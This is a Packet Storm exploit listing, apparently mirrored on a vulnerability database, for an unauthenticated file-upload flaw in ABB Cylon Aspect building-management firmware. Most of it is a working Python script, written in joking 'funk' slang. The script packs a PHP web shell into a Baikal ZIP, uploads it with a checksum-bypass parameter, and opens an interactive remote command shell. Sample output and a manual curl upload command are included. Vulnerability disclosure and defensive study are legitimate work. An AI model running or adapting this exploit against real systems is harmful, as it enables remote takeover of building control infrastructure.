Lucene search
K

ABB Cylon Aspect 3.08.01 caldavUpload.php Funkalicious Exploit

🗓️ 06 Mar 2025 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 243 Views

ABB Cylon Aspect has a vulnerability allowing unauthorized uploads by bypassing MD5 checksum verification.

Code
#!/usr/bin/env python3
    #
    #
    # ABB Cylon Aspect 3.08.01 (caldavUpload.php) Funkalicious Exploit
    #
    #
    # Vendor: ABB Ltd.
    # Product web page: https://www.global.abb
    # Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
    #                   Firmware: <=3.08.01
    #
    # Summary: ASPECT is an award-winning scalable building energy
    # management and control solution designed to allow users seamless
    # access to their building data through standard building protocols
    # including smart devices.
    #
    # Desc: Yo, check it - the ABB BMS/BAS system's got a slick little
    # weakness in them caldavInstall.php, caldavInstallAgendav.php, and
    # caldavUpload.php files. All you gotta do is drop that skipChecksum
    # beat in the POST vibe, and bam, the system skips all that MD5
    # checksum nonsense, no EXPERTMODE needed to crank the funk. This
    # lets any slick cat without a login slide in some jacked-up CalDAV
    # ZIP files, no questions asked. We're talkin' tampered tunes hittin'
    # the deck, openin' the door to messin' with the system or droppin'
    # some nasty uploads, all unauthorized-like. That's the funky flaw,
    # baby - straight-up tamper town!
    #
    # --------------------------------------------------------------------------
    # 
    # ┌──(kali㉿kali)-[~/brainfog]
    # └─$ ./funkalicious.py 192.168.73.31
    # [*] Rollin' on 05.03.2025 14:57:38
    # [*] Funkmaster Webshell Injector PoC - let's get down!
    # [*] Groovin' to: http://192.168.73.31
    # [+] Droppin' the funk on baikal-0.6.1.zip, dig it...
    # [+] Whippin' up some funky ZIP magic...
    # [+] Funked-up ZIP is live: baikal-0.6.1.zip
    # [+] Funky MD5 hash: 26b68b6e04966e8ea910a9df0a83ec72
    # [+] Groove size: 3.13 MB, dig it!
    # [+] Groovin' through the ZIP contents (key funky files):
    #       458  2019-02-19 08:05   baikal/vendor/sabre/vobject/tests/bootstrap.php
    #      1696  2019-10-19 03:17   baikal/vendor/sabre/dav/tests/bootstrap.php
    #       207  2019-10-09 16:27   baikal/vendor/sabre/http/tests/bootstrap.php
    #       293  2012-06-17 14:48   baikal/vendor/twig/twig/test/bootstrap.php
    #       144  2025-03-05 19:18   baikal/html/backdoor.php
    # [+] Droppin' the funk bomb at http://192.168.73.31/caldavUpload.php...
    # [+] Far out! ZIP got extracted, baby!
    # [+] Hittin' the funkdoor at http://192.168.73.31/baikal/backdoor.php, let's groove...
    # [+] Righteous! Funkdoor's live and kickin':
    # uid=48(apache) gid=48(apache) groups=48(apache),0(root)
    # 
    # [+] Droppin' into the funky pseudoshell - type 'exit' or 'quit' to zap the funkdoor!
    # funk> id ; pwd
    # uid=48(apache) gid=48(apache) groups=48(apache),0(root)
    # /home/baikal/html
    # funk> exit
    # [+] Wipin' out the funkdoor, peace out...
    # [+] Funkdoor's gone, man - clean as a whistle!
    # [*] Funked ZIP stashed: baikal-0.6.1.zip
    # [*] Manual funk drop: curl -F '[email protected]' -F 'skipChecksum=1' -F 'EXPERTMODE=1' 'http://192.168.73.31/caldavUpload.php'
    # [+] Sweepin' up the temp funk files (keepin' the ZIP)...
    # 
    # --------------------------------------------------------------------------
    #
    # Tested on: GNU/Linux 3.15.10 (armv7l)
    #            GNU/Linux 3.10.0 (x86_64)
    #            GNU/Linux 2.6.32 (x86_64)
    #            Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
    #            Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
    #            PHP/7.3.11
    #            PHP/5.6.30
    #            PHP/5.4.16
    #            PHP/4.4.8
    #            PHP/5.3.3
    #            AspectFT Automation Application Server
    #            lighttpd/1.4.32
    #            lighttpd/1.4.18
    #            Apache/2.2.15 (CentOS)
    #            OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
    #            OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    #                             @zeroscience
    #
    #
    # Advisory ID: ZSL-2025-5926
    # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5926.php
    # Ref ID: ZSL-2024-5860
    # Ref Title: ABB Cylon Aspect 3.08.01 (badassMode) File Upload MD5 Checksum Bypass
    # Ref URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5860.php
    #
    #
    # 21.04.2024
    #
    #
    
    import os
    import sys
    import random
    import shutil
    import zipfile
    import requests
    import datetime
    import subprocess
    from colorama import init, Fore, Style
    
    init()
    
    # Funky global vibes
    FUNKMASTER_URL = None  # To be set by the righteous IP
    UPLOAD_JAM = "/caldavUpload.php"
    BAIKAL_FUNKDOOR_PATH = "/baikal/backdoor.php"
    OG_ZIP_VIBE = "baikal-0.6.1.zip"
    FUNKED_ZIP_VIBE = "baikal-0.6.1.zip"
    TEMP_FUNK_PAD = "zipslip_tmp"
    
    # The slickest backdoor groove in town
    FUNKDOOR_JAM = """<?php
    if (isset($_POST['cmd'])) {
        system($_POST['cmd']);
        if ($_POST['cmd'] === 'rm backdoor.php') {
            unlink(__FILE__);
        }
    }
    ?>"""
    
    def check_funky_gear():
        # Checkin' if the cool cats got the unzip groove
        if subprocess.call(["which", "unzip"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0:
            print("[-] Whoa, daddy-o! 'unzip' ain't in the mix. Lay it down with 'sudo apt install unzip'!")
            exit(1)
    
    def snag_the_og_jam():
        # Snaggin' that OG ZIP from the cosmic interwebs
        if not os.path.exists(OG_ZIP_VIBE):
            print(f"[+] Droppin' the funk on {OG_ZIP_VIBE}, dig it...")
            url = "https://github.com/sabre-io/Baikal/releases/download/0.6.1/baikal-0.6.1.zip"
            response = requests.get(url, stream=True)
            with open(OG_ZIP_VIBE, "wb") as f:
                f.write(response.content)
        else:
            print(f"[+] {OG_ZIP_VIBE} is already chillin' in the funk pad, my man!")
    
    def whip_up_funky_zip():
        # Cookin' up a righteous exploit ZIP, baby
        print("[+] Whippin' up some funky ZIP magic...")
        if os.path.exists(TEMP_FUNK_PAD):
            shutil.rmtree(TEMP_FUNK_PAD)
        os.makedirs(TEMP_FUNK_PAD, exist_ok=True)
        
        # Unpackin' the OG vibe on the down-low
        subprocess.run(["unzip", "-qq", OG_ZIP_VIBE, "-d", TEMP_FUNK_PAD], check=True)
        
        # Settin' up the baikal funk shack
        baikal_pad = os.path.join(TEMP_FUNK_PAD, "baikal")
        if os.path.exists(os.path.join(TEMP_FUNK_PAD, "baikal-0.6.1")):
            os.rename(os.path.join(TEMP_FUNK_PAD, "baikal-0.6.1"), baikal_pad)
        
        # Droppin' a sneaky temp funkdoor
        temp_funkdoor = os.path.join(TEMP_FUNK_PAD, "temp_funkdoor.php")
        with open(temp_funkdoor, "w") as f:
            f.write(FUNKDOOR_JAM)
        
        # Zippin' it up with the funkdoor beat
        with zipfile.ZipFile(FUNKED_ZIP_VIBE, "w", zipfile.ZIP_DEFLATED) as zf:
            for root, _, files in os.walk(baikal_pad):
                for file in files:
                    full_path = os.path.join(root, file)
                    arcname = os.path.relpath(full_path, TEMP_FUNK_PAD)
                    zf.write(full_path, arcname)
            zf.write(temp_funkdoor, "baikal/html/backdoor.php")
        
        # Gettin' the funky hash and size, yo
        md5 = subprocess.check_output(["md5sum", FUNKED_ZIP_VIBE]).decode().split()[0]
        print(f"[+] Funked-up ZIP is live: {FUNKED_ZIP_VIBE}")
        print(f"[+] Funky MD5 hash: {md5}")
        print(f"[+] Groove size: {os.path.getsize(FUNKED_ZIP_VIBE) / 1024 / 1024:.2f} MB, dig it!")
    
    def check_the_funk_vibe():
        # Peekin' at the ZIP's funky insides
        print("[+] Groovin' through the ZIP contents (key funky files):")
        result = subprocess.run(["unzip", "-l", FUNKED_ZIP_VIBE], capture_output=True, text=True)
        for line in result.stdout.splitlines():
            if "backdoor.php" in line or "bootstrap.php" in line:
                print(line)
    
    def lay_down_the_funk(target_url):
        # /home/MIX_CMIX/htmlroot/caldavInstall.php:
        # ------------------
        # 01: <?php
        # 02: 
        # 03: $badassMode = false;
        # 04: if (isset($_GET["EXPERTMODE"])) {
        # 05:    $badassMode = true;
        # 06: }
        # 07: ?>
        # ------------------
        # Layin' down the funk to the server, man
        url = f"{target_url}{UPLOAD_JAM}"
        print(f"[+] Droppin' the funk bomb at {url}...")
        files = {"baikalFile": open(FUNKED_ZIP_VIBE, "rb")}
        data = {"skipChecksum": "1", "EXPERTMODE": "1"}
        response = requests.post(
            url,
            files=files,
            data=data,
            timeout=10
        )
        if response.status_code == 200 and "Baikal Bundle Uploaded and Extracted - OK" in response.text:
            print("[+] Far out! ZIP got extracted, baby!")
        else:
            print(f"[-] Funk hit a snag, HTTP Code: {response.status_code}")
            print(response.text)
    
    def jam_with_funkdoor(target_url):
        # Jamming with the funkdoor, testing the vibe
        url = f"{target_url}{BAIKAL_FUNKDOOR_PATH}"
        print(f"[+] Hittin' the funkdoor at {url}, let's groove...")
        response = requests.post(url, data={'cmd': 'id'}, timeout=5)
        
        if response.status_code == 200 and "uid=" in response.text:
            print("[+] Righteous! Funkdoor's live and kickin':")
            print(response.text)
            print("[+] Droppin' into the funky pseudoshell - type 'exit' or 'quit' to zap the funkdoor!")
            
            while True:
                cmd = input("funk> ").strip()
                if cmd.lower() in ["exit", "quit"]:
                    print("[+] Wipin' out the funkdoor, peace out...")
                    cleanup_response = requests.post(url, data={'cmd': 'rm backdoor.php'}, timeout=5)
                    if cleanup_response.status_code == 200:
                        print("[+] Funkdoor's gone, man - clean as a whistle!")
                    else:
                        print("[-] Cleanup got funky, check it out manually, dude.")
                    break
                
                shell_response = requests.post(url, data={'cmd': cmd}, timeout=5)
                if shell_response.status_code == 200:
                    print(shell_response.text.strip())
                else:
                    print(f"[-] Funk jam crashed: HTTP {shell_response.status_code}")
                    print(shell_response.text)
        else:
            print("[-] Funkdoor ain't answerin' the call, man.")
            print(f"Response: {response.status_code}")
    
    def clean_the_funk_pad():
        # Clearin' out the temp funk pad, keepin' it real
        print("[+] Sweepin' up the temp funk files (keepin' the ZIP)...")
        if os.path.exists(TEMP_FUNK_PAD):
            shutil.rmtree(TEMP_FUNK_PAD)
    
    def main():
        global start
        start = datetime.datetime.now()
        start = start.strftime("%d.%m.%Y %H:%M:%S")
        title = "\033[91mABB Cylon® ASPECT® Supervisory Building Control v3.08.01\033[0m"
        subtl = "\033[91m\to Unauthenticated Remote Code Execution o\033[0m"
        advis = "\033[91mZSL-2025-5926\033[0m"
        prj = f"""-
                     P   R   O   J   E   C   T
    
                            .|
                            | |
                            |'|            ._____
                    ___    |  |            |.   |' .---"|
            _    .-'   '-. |  |     .--'|  ||   | _|    |
         .-'|  _.|  |    ||   '-__  |   |  |    ||      |
         |' | |.    |    ||       | |   |  |    ||      |
     ____|  '-'     '    ""       '-'   '-.'    '`      |____
    ░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
    ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
             ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
             ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
             ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
             ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
             ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
             ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
             ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
        
     {title}
     {subtl}
                        {advis}
        """ 
        
        if len(sys.argv) < 2:
            colors = [Fore.RED,
                      Fore.GREEN,
                      Fore.YELLOW,
                      Fore.MAGENTA,
                      Fore.CYAN,
                      Fore.BLUE]
            lines = prj.strip().split("\n")
            for line in lines:
                color = random.choice(colors)
                print(f"{color}{line}{Style.RESET_ALL}")
            print("\n[*] Funky Jam: ./funkalicious.py <ip_address>")
            sys.exit(1)
        
        target_ip = sys.argv[1]
        global FUNKMASTER_URL
        FUNKMASTER_URL = f"http://{target_ip}"
        
        print("[*] Rollin' on", start)
        print("[*] Funkmaster Webshell Injector PoC - let's get down!")
        print(f"[*] Groovin' to: {FUNKMASTER_URL}")
        check_funky_gear()
        snag_the_og_jam()
        whip_up_funky_zip()
        check_the_funk_vibe()
        lay_down_the_funk(FUNKMASTER_URL)
        jam_with_funkdoor(FUNKMASTER_URL)
        print(f"[*] Funked ZIP stashed: {FUNKED_ZIP_VIBE}")
        print(f"[*] Manual funk drop: curl -F 'baikalFile=@{FUNKED_ZIP_VIBE}' -F 'skipChecksum=1' -F 'EXPERTMODE=1' '{FUNKMASTER_URL}{UPLOAD_JAM}'")
        clean_the_funk_pad()
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation